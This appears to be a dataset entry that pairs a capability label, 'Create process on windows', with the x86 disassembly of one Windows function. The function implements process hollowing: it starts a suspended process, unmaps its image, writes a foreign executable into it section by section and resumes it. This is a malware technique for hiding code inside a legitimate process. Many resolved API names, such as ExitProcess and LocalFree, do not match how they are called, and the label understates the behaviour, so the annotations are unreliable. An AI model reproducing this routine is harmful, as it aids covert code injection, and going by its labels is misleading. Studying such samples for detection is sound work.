Function at 0x4036dc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x403a17
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x74]
xor ecx, ecx
mov edx, 0x44
call fcn.00401160
mov dword [ebp - 0x74], 0x44
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x148]
xor eax, eax
call fcn.0040121c
push dword [ebp - 0x148]
push 0x403a30
lea edx, [ebp - 0x14c]
mov eax, 1
call fcn.0040121c
push dword [ebp - 0x14c]
push 0x403a30
lea edx, [ebp - 0x150]
mov eax, 2
call fcn.0040121c
push dword [ebp - 0x150]
push 0x403a30
lea edx, [ebp - 0x154]
mov eax, 3
call fcn.0040121c
push dword [ebp - 0x154]
push 0x403a30
lea edx, [ebp - 0x158]
mov eax, 4
call fcn.0040121c
push dword [ebp - 0x158]
push 0x403a30
lea edx, [ebp - 0x15c]
mov eax, 5
call fcn.0040121c
push dword [ebp - 0x15c]
push 0x403a30
lea edx, [ebp - 0x160]
mov eax, 6
call fcn.0040121c
push dword [ebp - 0x160]
lea eax, [ebp - 0x144]
mov edx, 0xd
call fcn.00401de4
mov eax, dword [ebp - 0x144]
call fcn.0040135c
push eax
push 0
call sub.KERNEL32.DLL_LocalReAlloc
test eax, eax
je 0x4039f9
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x4039f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x140], 0x10002
lea eax, [ebp - 0x140]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_LocalSize
test eax, eax
je 0x4039b6
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x9c]
add eax, 8
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.KERNEL32.DLL_ExitProcess
test eax, eax
je 0x4039b6
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.ntdll.dll_ZwUnmapViewOfSection
test eax, eax
jl 0x4039b6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.KERNEL32.DLL_LocalFree
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4039b6
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.KERNEL32.DLL_GlobalHandle
test eax, eax
je 0x4039b6
mov eax, dword [ebp - 0x14]
call fcn.0040244c
mov esi, eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jb 0x40396d
inc eax
mov dword [ebp - 0x20], eax
xor ebx, ebx
lea eax, [ebp - 0x18]
push eax
lea edi, [ebx + ebx*4]
mov eax, dword [esi + edi*8 + 0x10]
push eax
mov eax, dword [esi + edi*8 + 0x14]
add eax, dword [ebp - 4]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.KERNEL32.DLL_GlobalHandle
test eax, eax
je 0x403967
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [esi + edi*8 + 0x24]
call fcn.004036d0
push eax
mov eax, dword [esi + edi*8 + 8]
push eax
mov eax, dword [esi + edi*8 + 0xc]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.KERNEL32.DLL_LocalAlloc
inc ebx
dec dword [ebp - 0x20]
jne 0x40391a
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x9c]
add eax, 8
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.KERNEL32.DLL_GlobalHandle
test eax, eax
je 0x4039b6
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x140]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4039f9
cmp byte [ebp - 5], 0
jne 0x4039d6
push 0
mov eax, dword [ebp - 0x30]
push eax
call sub.KERNEL32.DLL_GlobalFree
jmp 0x4039df
mov eax, dword [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GlobalAlloc
mov eax, dword [ebp - 0x30]
push eax
call sub.KERNEL32.DLL_CreateProcessA
mov eax, dword [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_CreateProcessA
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403a1e
lea eax, [ebp - 0x160]
mov edx, 8
call fcn.00401380
ret